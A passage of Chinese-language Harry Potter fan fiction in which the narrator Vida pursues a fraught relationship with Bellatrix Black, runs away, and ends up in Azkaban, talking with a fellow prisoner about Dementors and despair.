她想和我拉开距离,皱起眉毛,我一伸手就扯住她的衣领。她完全想象不到我有多大的力气,竟然能够直接拖着她,将她拽弯了腰,“贝拉。”
我神情严肃:“你为什么要打我呢?”
“......”贝拉特里克斯的表情陷入空白。我的指节抵着她的喉咙,关节能够感受到她脖颈上的软骨一动不动。她现在应该是感到疼痛的,但是她没有做出任何反抗,而是任由我拽着,压制着,折磨着她。
“你不喜欢我了吗?”
手掌逐渐缩紧,用力,我的脸往上抬,眼睛几乎与她的眼睛触碰到一起。我注视那双散发热气的、略带干涩的眼球,好奇地观察着从前没有机会见到的红血丝。
我在欣赏她。
“你不喜欢我了吗?”我又问了一句,眼睛逐渐湿润,眼泪流淌下来,蹭在她的脸上,就像是她也在为我哭泣一般。
贝拉特里克斯的喉咙终于动了动,软骨在的指关节处缓慢活动——她紧张了吗?她感受到痛苦了吗?她渴望得到解脱吗?
“不。”贝拉移开视线,声带震动,缓慢对我说,“对不起。”
还不够。
我仍未松开她,她为此感到不安,却又不敢看我,只是侧过脸,温热的吐息停留在我的手背上。我听到金属碰撞声,她在从袍子里拿出什么。
“对不起,维达。”她说着,从口袋里拿出一个首饰盒,轻轻塞进我的口袋,“可以了吗?”
“那是什么?”我贴近她的脸,小声说,“你把它拿出来,打开它。”
那双不属于我的手又一次伸进我的衣兜,贝拉可以说是世界上唯二敢从我口袋里拿钱的女人了——上一个是莎拉——她顺从地拿出首饰盒,打开它——里面有两枚金手镯。
“都给你。”她说。
蛇形的手镯在空气里显得有些暗沉,顶端密镶钻石却散发着夺目的光。
我轻轻笑了一声,松开她的领口,伸出双手,像囚犯对着典狱长那样命令道:“帮我戴上它们吧。”
两个,都是我的。
13.经学家的提问
......是吗?
贝拉特里克斯盯着我的双手,表情罕见地有些空白。她垂下的长长的眼睫在面目投射出难以辨明的阴影。阴霾自她脸上一闪而过,我甚至能够看清她皮肤上那股灰败的苍白。
她一向是难训的,从我们之间的数次争吵就能够看出来,贝拉小姐的自尊心要远超常人。或许是我们之间有着她心目中不可逾越的沟壑,她自视甚高,觉得万不能朝我低头。
我轻轻动了动手腕,“你在想什么呢?”我说。说完之后,轻轻笑了一声。
黑色头发的小姐像是被这个声音惊醒,她骤然红起脸颊,抬起眼睛盯着我。那双眼睛锐利、明亮,甚至还带着一股狠意,就像是丛林里龇牙咧嘴的兽。
我以同样的目光回示,更加恶劣地露出笑容。这幅表情里并不包含收到礼物的喜悦与幸福,如果要我自己来分辨的话,大概是有几分仇恨的。
贝拉被我的恨意再次刺痛,她微微发冷的手指再次搭上我的手腕,柔软的指腹摩挲在脆弱的静脉上。我拉下脸上的笑意,面无表情地盯着她的手指。
“咔哒。”
她将一个镯子戴在我的手上,接着,又是另一个。两只手镯很漂亮,也很沉重。我将双手塞进衣兜,冷漠地注视着这位同样不高兴的小姐。
贝拉特里克斯也沉默地回望我。过了一会,她问:“我对你还不够好吗?”
我歪歪头,举起一枚手镯对着阳光欣赏起来。她看上去高兴了一些,凑到我边上,想摸我的头发。
“我最喜欢你了。”她说,“维达,我最喜欢你了。”
她搂住我,似乎还想摸我的头发,我侧了侧脸,她就把嘴唇凑过来。我不喜欢这样亲密的接触,就推开她,跑回礼堂。
是呢,我一开始在接她回学校呢,我真是一个好人。
她被推开后还喊了好几声我的名字,不过那都不重要了,反正她也不敢抓住我。
之后的日子没什么稀奇的,那天之后,贝拉、安多米达和我三人一齐上阵,总算补完我剩下来的作业。本来安多米达的作业是可以直接借我抄抄的,反正我们不在同一学院,教授应该不会抓住我们。
但是这两个完美主义者害了我!
她们一定要我从零开始写,太可恶了。我熬了整整一个晚上,创造一个奇迹。第二天的魔药课困得差点把自己的脑袋当成洋葱头——不管是什么,反正差点直接塞进坩埚里,把我边上那位赫奇帕奇同伴吓得一把将我的脑袋薅起来。
我们两个因此没能在课堂上完成魔药。不过也没关系,我们两个总是完不成,斯拉格霍恩教授已经快放弃我们了。
“可能有些人就是没天赋。”赫奇帕奇安慰我,“我们恰好就是没天赋的那一批。”
我拍拍她的肩膀,颇有几分患难情地赞同。
学校生活还是不错的,我竟然觉得自己开始活得像个人。大概是霍格沃茨没让我饿着的缘故——它总是让我吃得饱饱的,因此,我对世界的仇恨也消减许多。脸上的笑容也多起来,好几次照镜子,我都不敢相信镜子里那个面色红润、笑容活泼的家伙居然是我。
羊也胖了一圈,这么多年了,它的力气还是那么大,甚至因为肥胖,比起以前更有力量了。我欣慰地拍拍它的脑袋。对于动物来说,吃饱喝足就是最好的。
冬天很快过去,当我打开窗户,伴随阳光走进房间的不再是寒风和雨水之后,远处的落叶杉也披上一层绿色的绸缎衣裳。溪水开始流动,如花蛇一般蜿蜒在小道边,其上的纹案就是斑驳尖锐的石头,经过冬天也没有磨损多少。
我捡到石灰石。轻轻踩了一脚,这个东西就开始开裂,或许它们并不是石头,而是上游某些动物的骨骼,长年累月,长年累月——总之,就慢慢变成了石头。
我知道这种变化,但是难以说清。世界上的规律大多都是这样,苹果会落下来,羽毛会飘上去,鸟会飞行,鱼会游泳,世间万物如果一定要深究,肯定都有其本源,但是我们这些愚笨的魔鬼很难去理解,于是就总结成规律,形成世界的表象。
至于本源呢,或许那就是世界的镜面,一面漂亮的水银镜。透过本源的人会看到世界的另一面或者另一个世界,没有看透的就遵循规律,生活在我们表象的世界。
这就是所谓的“哲学家穿过水”
我也想做哲学家——不想生活在地狱里了。
我是懦弱的、弱小的、愚蠢的魔鬼,如果一直生活在地狱里,我永远都是这样的魔鬼。我想去另一个世界,就像莎拉她们说的那样,去另一个更加美好、圆满的世界。
莎拉的死亡并不令我感到悲伤,我不知晓她是否如她祈愿的那样离开这里,即使是在葬礼上,在大家沉浸于悲伤的氛围中时,我仍在想这件事。
如果她穿透银镜,如果她走过水面——她还是我的朋友吗?
我眨了一下眼,肚子又开始咕咕叫。羊也跟着叫。我推了推这只动物,它反过来舔我的手。给它喂了草料之后,它彻底安静下来,睡在垫子上不再动弹。
这种大型哺乳动物的寿命很长,普通山羊的寿命在十到十五年,从我年幼时离家算起,它如今正是壮年,然后,等我毕业后就会快速衰老,最后死掉。
我伸出手摸了摸它——毕业——好漫长。
我对贝拉倾诉我的思考,她先是震惊于我竟然会想出这么有逻辑的东西,然后又嘲笑我果然受麻瓜毒害颇深。她认为我还是受到所谓“上帝”那一套的影响,总
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觉得世界上存在天堂。
“那是另一个世界,不是天堂。”我反驳。
“好吧,好吧,维达,你觉得那个世界是什么样子的?”
“emmmmmm”我从未想象过所谓另一个世界的真实相貌,只是因为这个世界过于低劣,所以就想有个更加美好的世界存在。
至于“美好”是什么样子......
我也不知道。
我再次眨了眨眼睛。贝拉从靠着的苹果树干边站起来,她摸了摸我的脑袋,语气里带着安慰和鼓励说:“是不是有取之不尽的苹果派、烤鸡和手指饼干?”
可恶,不要小瞧我!
我咽了咽口水,点头。
“那里有没有贝拉?”她继续诱导问道。
其实我是不想有她的。既然苹果派、烤鸡和手指饼干已经存在了,那么要贝拉有什么用呢?不过碍于她蠢蠢欲动的巴掌,我还是点头。
“还要有一个大房子、家养小精灵以及很多衣服、书本、一个大院子。”贝拉继续说。
我觉得,这个话题自她加入,就已经不可避免地滑向庸俗。
我们透过本源,如果还是只能看见一个布莱克宅子、大小姐、大小姐的奴隶和财产,那不是很可怕吗?
贝拉仍然捉着我滔滔不绝地说着房子外墙要用什么颜色,内墙的壁纸花纹、配套的柜子、床垫以及梳妆台。她希望有一个种着雏菊、三角梅和月季的花园,最好花园里要有蛇形喷泉和雕塑——当然,她大发慈悲地看在我的份上,允许我把耶稣摆在花园里。
“谁会在花园里钉一个人啊。”我心里不满地嘟囔,但是不敢说出口。因为她揪着我的耳朵呢。
克利切是必要的,当然,如果有能取代它的小奴隶也不是不可以,贝拉说她会好好教导这只新仆人。随后就是商量着要养几条猎犬,让它们陪着我的小羊。
我听得昏昏欲睡,贝拉却兴致勃勃。她甚至开始计算买这样一个房子要花多少钱。
听起来就是一个天文数字。
好在安多米达半路救场,她以为贝拉在教训我——贝拉确实经常这么干,以前是在人前,现在好歹知道避着人了——这有安多米达的一份功劳,她对贝拉说:给孩子留点自尊心。
我十分感谢她,心里却不如亲近贝拉那样亲近她。这种复杂感情实在难以辨明,我想,大概她和麦格教授一样,都是想让我做平庸的好人。
我也觉得她与贝拉长在同一个家庭,性格却截然不同这件事十分可爱,仔细想想,大概是她家孩子太多的缘故。
“你们在聊什么?”安多米达笑着靠近,却发现贝拉脸上的笑容收拢回去。
“没什么。”布莱克家的大姐冷冰冰地说。
14.狮子与羔羊之辩
我们三个人就这样晃荡地过日子,日常免不了摩擦,大家都凑合着过。最大的争吵总是发生在斯莱特林的休息室,贝拉因为作业对我大吼大叫,安多米达出声劝阻,然后被贝拉连带着一起攻击。
这导致我对斯莱特林的休息室印象很不好,一过去就在写作业,一写作业就犯困,一犯困就被贝拉骂......
一番精神折磨下来,我回到拉文克劳都是倒头就睡。这样一来,一个学期里我竟然没认识过几个朋友。
是我不开朗吗?是我不够活泼吗?
都不是!是严格的贝拉天天抓我去学习!
我不知道学习是有什么用!我这样的麻种学习有什么用!
“砰!”
好痛,作业本又一次被盖在我的头上。贝拉冷冰冰的手指捏着我的两颊使劲揉捏,眼中满是混沌的担忧。
“怎么办啊维达,你怎么连重量换算都做不对,你以后怎么办啊。”
“好痛!贝拉别捏了,我以后只买整克数的东西——不对,我以后不会买魔药原料——你忘记斯拉格霍恩教授了吗?他说我根本就没有做魔药的天赋——唔——”
我的狡辩似乎并没有起效果,反而令她更加担忧。期末复习是我这辈子经历过的最可怕的事,贝拉的双眼是我这一辈子最不敢直视之物。
为什么这里不能存在一个大魔王,每次在期末考试的时候来霍格沃茨烧杀抢掠一番呢?
我把这个想法告诉贝拉,贝拉冷笑两声,说世界上即使有魔王,也不会拯救我的魔药课成绩。
可恶至极!
可怜的维达·加尔小姐就这样在复习周被布莱克两姐妹圆捏扁搓,最后喜提魔药课堪堪及格的优异成绩。
我敢说,斯拉格霍恩教授一定是看在布莱克的面子上才给我及格分的,因为考试之前,我本来想着缺考算了,贝拉硬是把我压去考场。
我要厌学了!
出考场之后,贝拉小姐双目圆瞪,威胁我要是考不过,这个暑假我就别想休息。太可笑了,我都不想上学了还要听她的话去补课。
我们在列车站笑嘻嘻地告别之后,我牵着小羊,转身就上了前往港口的列车。
我想好了,我要离开英国,离开霍格沃茨,去一个没有贝拉、没有考试、没有魔药课的世界。
偷渡去喽!
然后就被海关遣送回来了。因为我也不知道自己要去哪里,就只好跟在一个看上去十分有气势的男巫后面,企图蒙混过关。结果这个人也没带证件!
太可恶了!
偷渡生涯大失败!
这帮没有品德的巫师把我扔在港口,还不停盘问我家里人都去哪里了,是不是离家出走。可笑,我已经不再满足于离家出走这种稚童才会用的小把戏了,我真正的目的是背井离乡——离开这个冰冷的、暴力的国度。
港口的巫师一定要有人来接我才肯放我离开。我哭泣地表示自己是孤儿,他们竟然还让我找一个联系人。我全家都只剩我一人了,要找谁呢?
最后,我只能写信给贝拉,让她过来接人——对了,顺便把我这两周的伙食费、住宿费付一下。
年仅十五岁的贝拉特里克斯·布莱克小姐就这样骂骂咧咧地来到港口,在我“家属”那一栏上签完字,脸上写满了秋后算账。
我在建筑外的长椅上讪笑着,告诉她这一切我都能解释。
“我在穷游。”我指了指身后的背包,“听说美国是一片充满希望的——好痛!”
可恶,即使她刚刚把我赎出来,也不能如此粗暴地对待我。我正准备发脾气,伸出双手想要掐她。
在我抬手时,她也伸出双手,胳膊绕过我的身体两侧。一具热乎乎的身体贴上来,透过她身上的红衬衫,我闻到午后汗水和蔷薇的气味。
阳光灼烧在水泥路面上,照射港口的钢铁机械,水鸟盘旋在天空,对于它来说,世界无限广阔。而我却被拘束在这具身体里,看着它从左边一片黑暗中飞出来,绕过建筑三角形的尖端,又飞到右边的一片黑暗中。
贝拉以为我要拥抱她,于是,她先抱住我。
“维达。”她叫了一遍我的名字,抱得越发紧了。
“维达。”为何她的声音开始哽咽?
“维达。”
贝拉特里克斯的脸贴在我的喉咙边缘,我们皮肤相贴,她的身体被阳光晒得滚烫,我喉咙被她擒获,浑身上下汗毛倒竖。
我是不舒服的,但是贝拉应该从这个拥抱中获得某种慰藉。她觉察到了吗?我想离开她。
海鸥还在建筑上鸣叫,一声接着一声,海水在数百米外不断拍打在防波堤上。一片蓝色波浪涌动中,我侧了侧脸,“贝拉,”我说,“暑假里我没有地方可以住。”
所以,换言之,我可以去任何地方。
我揽住她的肩膀,将手放在她的头顶上。布莱克小姐的头发茂盛又柔软。午后阳光令人感到昏沉,过于明亮的光束停留在她鲜红色的衬衣上,那股红变得生机勃勃,柔软又富有韧性。
不知是怎么了,我将手放在她的后背,像抚摸小动物一样摩挲着。
红色拥挤在我手指缝隙之间,它们在苍白的皮肤上堆起褶皱。好亮的颜色啊,阴影消失得无影无踪。我握紧布料,直愣愣地盯着。
“我想回家。”我用近乎耳语的音量说。
但是,我的家在哪里呢?
野兽是没有“家”的,魔鬼也一样。
柔软的绸缎从我松手那一刻,像蛇一样划过我的手指,落回贝拉身上。对,这是她的衣服。我也开始拥抱她,就是这样,双手从她的腋下穿过,手掌盖在脊背上。
——这就是拥抱。
我们的心脏贴在一起,两个毛茸茸的脑袋紧紧挨着,但是我听不到贝拉的声音,听不到她的大脑里在想什么。我摸了摸她的脊柱,一节、两节。
“贝拉。”我盯着面前的红色,对她说,“你愿意和我创造一个家庭吗?”
我是一个懦弱的魔鬼、卑鄙的魔鬼、充满谎言的魔鬼。
我想回家,回到一个理想的“家”,但是我的家庭成员已经消失了。所以,当我想要得到一个家的时候,我就先要得到一些家庭成员。
偷的、抢的、骗的都不要紧,只要把条件集齐了,就能拥有一个家。至于之后,再慢慢筛选、增加、剔除、淘汰。
我思考着,开始想象自己应该在哪里筑巢。
美国听起来是个好地
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方,那里有广阔的平原,温和的气候;非洲也不错,像我这样的白人在那里总是拥有更多机会。
我侧着脑袋,抬起眼睛,看着天上不断盘旋着飞入眼眶的鸟、他国的旗帜和汽笛声引起的空气震颤。我问贝拉,她愿不愿意和我一起离开。
“去哪里呢?”她问我。
“非洲或者美国。”我说。
“哪一座城市?”她接着追问。
我愣了一下,洲陆、国家已经是我认知中的极限,我只是听过有这么一个好地方,就像听莎拉的妈妈说有那么一个镜像世界一样。我摇头,想着就像小时候一样,车开到哪里、船开到哪里,我们就在哪里停下。
听见我这么说的贝拉安静片刻,她说,我们要有足够多的钱。
“多少钱?”
“五万加隆。”贝拉道。
我瞪大双眼,被这个数字所震撼。谈话就在这里不了了之。贝拉特里克斯牵住我的手,我们一起走在黑色的、布满油与污渍的砖石上,慢慢走到车站。她给我一把零钱,让我去买票。
这可难倒我了,因为贝拉给我的是巫师货币,而并非英镑。难道要我来付钱吗?
我问贝拉是怎么来的,她说,靠着“飞路粉”。
“那么我们为什么不用飞路粉回去呢?”
女士没有回答我的问题,而是反问我是怎么来到这里的。我指了指车站,道:“坐火车。”
“那我们就一起坐火车回去吧。”她把我往车站的方向推了一下,“不是才说要做‘一家人’吗?”
“回哪里呢?”我又问她。
她说:“去你家。”
“我没有家。”
我们陷入漫长的沉默。贝拉特里克斯问我为什么不回农场。我瞪大双眼,惊异地问她,我为什么要留在那里。
“难道贝拉也想做一个农场里的工人吗?”我问。
她显然是不愿意的,于是就烦躁地让我想去哪里就去哪里。我跑到售票处,这里人来人往,行人都背着厚重的背包,在热气熏天的屋子里露出萎靡的神态。
太阳已经爬过一天中最高的那一处,正斜斜倚靠在窗户的一角。昏黄又陈旧。几个穿着大红色圆领衫的黑人坐在车站中心,举着一个叫做“麦克·康达尔”的男人的画像,几位绅士称他们是“分不清幻想与现实的黑鬼”。
贝拉也穿着红色的衣服,站在距离我不远处的柱子边。我在售票口,艰难地张了张嘴,一种奇妙的幻象击溃我的神经,在某一瞬间,我似乎又回到放牧莎拉的午后,十五个孩子穿着白色圆领长袍,围坐在湖水边,一个又一个说着人生中最想要抛弃的事物。
我在想什么呢?此刻的回忆将我拽入一个更加悠远意识原野:黄昏、夜幕、火焰与残缺的脸颊。
月亮的光刚好照在莎拉那张惨白的脸上,她的牙齿落进湖床,长成一颗小小的圆形水波。水波扩散,其中又生长出新的月亮、星辰与天空。
死亡、重生、异教徒、拟态世界。
浓雾缓慢自我脑中散去,我回忆起关于那则秘密的一切。
*一个危险而又可怕的秘密*
*逃离这里*
*切掉*
*这里*
15.由降卑到升高
自胚胎起,我的一生都在被各种各样矛盾的秩序包围。它们互相挤压、碰撞,在子宫中如羊水般浸润我的皮肤。接着,由秘密所化的脐带缠绕在我的脖颈上,将我扼杀于婴儿之梦中。
我一直是婴儿,裹挟着最原始的恐惧与愤怒,拽着链接我与腐烂胎盘的脐带,在这个世界上尽情哭嚎。
胎盘是秩序,秘密是脐带,我只是意外诞生的动物。动物并不愚笨,它们只是缺乏“智慧”。动物并未吃下伊甸园的果实,实际上,它们并没有生活在那里的资格。
动物作为最一般的造物,从不曾参与塑造神,也不曾参与理解神。对于它们而言,神或许存在,或许不存在。
或许,这也是动物曾经一度成为神,又被人类神打败的原因。当多为人类神在各自历史中征战时,动物就站在河岸边,安静地看着他们。
等到尸体落入水源地,火焰点燃树枝,才惊觉钝刀已经割开自己的喉管,开始无力的发出嚎叫。
幸运的凭借一股力气逃出圈套,不幸的就此沦为胜利者的祭品。
这就是——动物。
我与莎拉的秘密,我与父母的秘密就在于此。
我是动物。
莎拉是人。
如今,那些穿着红衣服的也是人。
我买了两张“英国最角落”的车票,坐上列车。贝拉特里克斯身上的衣裳令我感到不安和畏惧。我问她,她的信仰是什么。
贝拉难得认真地回答我:巫师不存在信仰,他们崇敬强者,于是将梅林挂在嘴边,实际上,如果真要找出一个值得信奉的,那便是“血统”。
我又问:“血统”又怎么照顾信众生前与死后的事呢?
贝拉特里克斯道:为什么要考虑这种事?
很快,她便想起我的父母,就抱住我,对我说:巫师们的出生和死亡都有亲属照顾。
“那么他们死后会去哪里?”
“坟墓。”贝拉特里克斯说,在谈论死亡时,天真致使她的脸上呈现出一股慈悲的异象,“一些有所眷恋的会化作幽灵,就像霍格沃茨的那些。”
我摸了摸她的脸,热乎乎的,“你家里有人变成幽灵吗?”
她没有回答我,我想,如果往上追溯,或许巫师们都有同一个血缘祖先。
我与贝拉实际上是亲人吗?
车厢里很热,我亲了亲她的脸,抿起嘴唇之后就尝到汗水的味道。我没有再问她“血统”是否发起过战争,“血统”的战争从未停止过,就像世界上所有神的战争一样,都是一种人在向另一种人宣战。
我说:“这个世界好坏啊。”
列车驶过山谷间,泥土的阴影遮天蔽日,布满灰尘的窗户将树枝间隙里漏下来的阳光折射出一片玫瑰色的光晕。我坐在窗户边上,只觉得自己好像也穿上一件红色的纱衣。
贝拉伸出手帮我当初照在脸上的光,我闭起眼睛,只觉得红色仍跳跃在视网膜上。奇异又瑰丽的自然之色,恐怖且诱人的战争之红。山谷间的河道仿佛也成为一条血河,赤红色的太阳一分为二,缓慢变形直至坠入河水之中。
我们在车上度过一段漫长的时光。贝拉总是时不时问我在何处下车,我一遍又一遍重复站点的名字。直到汽笛的声音叮呤咣啷地响起,我们活动几乎快要长在车厢里的四肢,走出这个闷热昏暗的四方世界。
下车后的城镇果然是“英国最不起眼的角落”。一栋栋建筑门窗紧闭,街道荒凉且衰落,弥漫着一股死亡的气味。
我们找到一处空房子,贝拉本能地想找周围人的身影,我却直接将门踢开。现在,谁想占领这座空房子都可以,因为这里连一片房主的骨头都没有留下。
巨大的声响快速唤醒这座城市的某些东西。它们并未出现,而是在等待夜幕降临。
各种野兽都有自己狩猎的时辰,也有回归巢穴的时辰。我叫贝拉特里克斯把门封上,她却傻乎乎地对我说我们不能使用魔杖。
“那就用钉子和木板。”我将工具箱扔给她,将羊从箱子里放出来。可怜的小姐还在对着锤子发愁,我就使唤她去喂羊,自己过来修门。
这是一栋二层楼高的小房子,前院已经荒废,房屋内壁纸发黄残缺、爬满霉菌,家具七零八落地散着,像是被强盗洗劫过似的。我拿出魔杖,将贝拉赶去楼上休息,平静地等待夜晚降临。
贝拉的脚步声吱呀吱呀的不断从我头顶响起,她从楼梯处探出头,对我说房间已经收拾好了。又再次叮嘱我不能使用魔杖,不然会被抓起来,她丢不起这个人。
这位小姐自始至终都没有什么危机意识,甚至不能理解她处在何等危险的境地。她被我拐走了,远离家乡,没有防身手段。
权力发生微妙的改变。
颜面是这个世界上最不重要的东西之一,它是自果实之后诞生的,人类巧妙的伪装。纯血统的贝拉特里克斯恪守礼仪,异血统的维达则并不需要。
我只需要在狩猎的时候做回野兽。
赶走那些城市里的老鼠很容易,恍惚之中,我好像又回到那个莎拉死
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去的夜晚,只是这次,我是举起魔杖的巫师。
火焰灼烧这些人的伤口,他们四散而逃,恍若闯入壁炉中的老鼠一样成为城市里星星点点的光。战争带走这里的士兵,留下懦夫和强盗统治的数十年。懦夫可以变成强盗,强盗也可以成为懦夫。
贝拉没有下来,她知道我做了什么。
此事之后,我回到二楼,躺在她的身边。她的呼吸变得急促,手指紧紧抓着毯子一角。我将她叫起来,拉着她的手回到一楼,对她说:
“布莱克庄园,”我指着房子,“前院、壁纸、床垫梳妆台,都有了。”
我抓紧她的手:“现在,你愿意和我组成一个家庭吗?”
--
家庭的泡沫一天之后就被戳破了。
布莱克家报了案,傲罗打上门来。我和贝拉都被拷住了,不久后,贝拉被放开,我被押送至看守处等待审判。
即使贝拉特里克斯小姐百般解释,布莱克家已决心要把我关到死。他们想要将贝拉与我彻底分开。
平日里看似强悍无比的贝拉在家长与魔法部面前也只是一直不断吠叫的小型狗。她只露了一面,就被家里人带回去,关起来了。安多米达过来看过我,我也沉默地看着她。
她问:你为什么要这么做?
“红衣服。”我说,“那一天,有许多人穿着红衣服。”
“我以为我也穿上了那个颜色的衣服。”
她不能理解我,好在我也不能理解她。审判并没有到来,我就被扔进阿兹卡班。这大概就是孤儿的好处吧,不必再去法庭上装模作样走一遭。
狱卒大概是个哑巴,压着我的傲罗也像是个哑巴。我问他们我犯了什么罪,要被关多久,他们没有一个人说话。最后,是那个看上去格外潦倒的狱卒扔给我一份报纸,上面有太多我不认识的单词了,略过——总之,在一番并不简单的阅读理解——特指让隔壁犯人帮我念报纸之后,我才懂得上面文绉绉的话到底是什么意思:
【罪犯维达·加尔已于今日伏法】
【纵火罪、抢劫罪、偷渡罪、绑架罪】
【——受害人贝拉特里克斯·布莱克正于圣芒戈接受治疗】
好消息是因为所谓的“未成年人保护”——虽然我很怀疑英国到底有没有这个东西——我的照片和审判过程没有被放上去;坏消息是我好像真的要被关到死了。
不行!不能这样!
我焦急地站起身,把牢房里的稻草踢得到处都是。
我得越狱。
16.痛苦与感恩之泪
比饥饿先来的是怪物。
好心的文豪邻居——帮我念报纸的那个——他先是大叫一声,然后没了声息。他大概可能差不多是活着的,但是我觉得自己像是要死了。
一双冰冷的手扼住我的喉咙,我伸手去抓,却只在自己的皮肤上留下一道血痕。像是溺水一般,我开始喘不过气,大脑冷得发麻,又被一股热气强行顺着耳朵灌进颅腔。一个巨锤自太阳穴砸下,如洪钟顿起,震得我毫无思考的能力。
世界上的一切似乎都开始扭曲,我盯着那高到吓人的墙壁与和我巴掌差不多的窗户,心底却泛起疑惑:
那是什么呢?
是墙、是砖石,是一种阻隔与惩罚。
什么又是“墙”?
我发现自己好像已经无法理解这一浅薄的概念,大脑昏沉——难道、难道阿兹卡班真实的刑罚是把人变成傻子吗?
一只又一只灰黑色的影子在小小的窗户外显现,我伸出手指,它们的脸大约有我食指手指头那么大。我摸了摸手指,不知道为什么觉得有些可笑,就把手指头又往前伸了些,发现那些影子的脸变大了。
是我的手指在变小,还是影子在变大?
或许二者皆有,它们距离我越来越近。
所以,手指头为什么刚刚会和这些影子一样大?
冷意爬上我的脊柱,一些不愉快的记忆逐渐变得清晰。我开始感受到饥饿、寒冷以及仇恨。那些灰黑色的恶客挤在我的房间里,我挥舞起手臂,朝它们大喊:“这里已经满员了!”
可恶,这些到底是什么?吃掉智慧的蠕虫吗?
我一边思考手指变小之事,一边开始向它们提问:“你们是什么?”
它们没有回答我,而是在房间里待了一会,就走出去了。隔壁的“文豪”也醒过来,再次大叫。
“先生!”我隔着墙壁问他,“刚刚那是什么?”
“摄魂怪。”
“什么是‘摄魂怪’?”
对面沉默良久,问我到底读没读过书。
“读过一点。”我说,“这不是还没学到么?”
“一种会吃掉快乐的生物。”他回答,“刚刚你是不是觉得十分悲伤?”
“我饿了。”
“午餐在摄魂怪进食之后的两个小时才会送进来。”他说。
“不,”我对他说,“我感到饥饿。难道我也是摄魂怪吗?”
“不,你是人。”文豪说,“你感受到饥饿是因为你恐惧饥饿。”
“我还觉得自己变笨了,难道我之前是个聪明人吗?”
“......”
文豪没有理会我,他问我要我入狱的报纸。我总觉得他的声音十分熟悉,便给了他。
“你拿那个东西做什么?”
“上面有一些填字游戏。”他解释道,“这会让我觉得有些事情可以做。”
“可是,我又应该怎么给你呢?”
每一间牢房边缘都被石砖砌起,目的就是阻止犯人互相传递东西。文豪让我把题目念给他。上面有许多单词我不认识,于是,他便让我一个字母一个字母地念。他猜字谜很快,我念完一道题,他就让我不要再念下去了。
“还有好几题呢。”我说。
“慢慢来,别着急,孩子。”他说,“如果全部猜完,我们又会陷入无所事事中。”
一开始我不理解这句话,几天之后,我感受到一股深切的无聊。
摄魂怪按照规律在每餐之前的两个小时出现,将我们折磨一番后又回到窗户外边。三餐都是又干又硬的黑面包,阿兹卡班不会让犯人饿死,但也绝对不会让我们吃饱。用完餐后就是面壁时光。
我一开始会用这段时间睡觉,后来却怎么也睡不着,晚上睁着眼睛看头顶那巴掌大的窗户,一个人拨弄脚上的锁链玩。
这个链子有七截,短倒令我几乎只能跳跃前进或者在地上爬行。昨天起跳过程中踉跄一下,导致我的脸直直砸向墙壁,在上面留下一道深红色的印记。我的鼻子痛得要命,但是我竟然开始享受起这种疼痛,因为这是“规律之外”的东西。
“喂。”我冲着铁门喊,“文豪先生,我们来聊聊天。”
“别,祖宗,你不累吗?”
隔壁牢房传来有气无力的声音,但是过了一会,他又说:“你想聊什么?”
我就知道,这个人正与我遭受一样的折磨,甚至所承受的痛苦远超过我。我向他提出一开始的那个问题:为什么摄魂怪会变大?
“因为‘近大远小’,小姐。”他说,“你跑到牢房最里边去看我们栅栏感到缝隙,然后在贴着门去看,是不是贴着门的时候缝隙要更大一点?”
“这就是‘近大远小’。”
我似懂非懂地点头,甚至露出在贝拉给我讲题是专用的那副敷衍她的表情。可惜贝拉不在这里了。
“道理我都懂,但是我的手指为什么会和摄魂怪的脑袋一样大?”
“......”
对面发出极重的喘息,文豪说:“因为摄魂怪向你走过来了。”
“那不应该是摄魂怪变小了吗?”我说,“因为我朝栅栏走过去的时候,栅栏变大了,我变小了呀!”
“.......”
“运动是相对的。”他说。
“我没有动。”我说。
“够了!够了!你不准说话!”他忽然大叫,“你不准和我说话!”
唉,又疯了一个。我惋惜地想,这位先生怎么和贝拉一样暴躁呢?想到这里,我又回忆起那些摆在桌角的糖果,舌头也因此动了动,只是我好像回忆不起那些像宝石一样的食物的味道了。
理智在告诉我它们是甜的,但是“甜”又是什么呢?
我问文豪。
文豪对我说——他轻易地原谅了我——他说,他有办法让我感受到这种味道。
“你下次吃饭的时候,把面包含在嘴里,三分钟后出现的就是‘甜味’。”他顿了顿,似乎在等我抛出下一个问题。
我捧场道:“为什么呢?”
“因为人的唾液也可以消化淀粉——面包是淀粉组成的。”
“淀粉。”我重复这个陌生的单词,“什么是淀粉?”
“淀粉是一种食物。”他说,“你试了就懂了。”
我尝试了,回忆起什么是甜味。于是,我很感激文豪,就
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问他想要什么报酬。文豪让我不要得意得太早了,因为摄魂怪会在下次到来时再度夺走这种回忆。
“那我只要在它们走后再次尝试就可以了。”我说完,愣了一下,开始思考,如果品尝“甜味”成为一种规律,那么它还能产生快乐吗?
“问题就在于此。”文豪像是能读心一般,对我说道,“这就是问题本身:我们被困在这个只能走散步远甚至都不能躺着伸直身体的小房间里。迟早有一天,我们用尽一切产生快乐的办法后,快乐就会抛弃我们,我们陷入日复一日的循环,这种循环是阿兹卡班最后落下来的无形之刀。”
“你在那里自/残过吗?孩子,伤害自己让你感受到快乐——或者新奇吗?”他的声音变得有些亢奋,“我试过,或者说,我正在此阶段。我已经无法产生快乐了,于是,我让‘新奇’——一种不可预测的东西替代这一情感。”
“这应该是你的‘上一阶段’。”我指出,“你只有在我进来的前两天撞过墙。你只在晚上做这件事,那会我还会在晚上睡觉呢,你每次都吵醒我!”
“我现在也在做!”他隔着墙壁朝我嚷嚷,“不然我为什么要陪你聊天?我是什么脾气很好的人吗?”
“你不是吗?”我十分震惊,“难道你不是怀着崇高的解救文盲的理想来为我答疑解惑的吗?”
对面陷入沉默,我以为他气晕过去了,过了好一会才小心翼翼地问:“你还好吗?”
“我不好!”他说,“你现在不准和我说话!”
“更不准向我提问!”
行吧。我想,这人大概已经疯了。我可是怀着一副感激之心来拯救他,他却毫不领情,反而将我的陪伴当做和伤口一样的折磨。
摄魂怪又来了,我直接躺平任由它们夺走方才争吵所创造出来的乐趣。隔壁的文豪也是一样。我思考着下次应该怎么逗弄他。我发现,摄魂怪并不能夺走我的智慧,它们只是一种会将人拽入悲伤的泥潭的怪物。
不过,就像我庆幸自己是孤儿因此免于审判的羞辱一样,我也庆幸我没过上过几天的好日子。以至于这帮坏东西竟然将我还是婴儿时期的记忆都翻出来咀嚼。
那会我还小呢,在摇篮里大声哭嚎。我的母亲——我已经忘记她长什么样了,只能记得她的手是温热的——她抱着我,将我圈起来。那也是一个狭窄的空间,温热、干燥,令人回忆起来就想落泪。
我为什么现在在想这些呢?是摄魂怪在作祟吗?
不,是我——我幻想出了一个母亲——一个拥抱我的母亲。她如牢房囚禁我一般拥抱着我,在她怀中,我哭声渐歇。
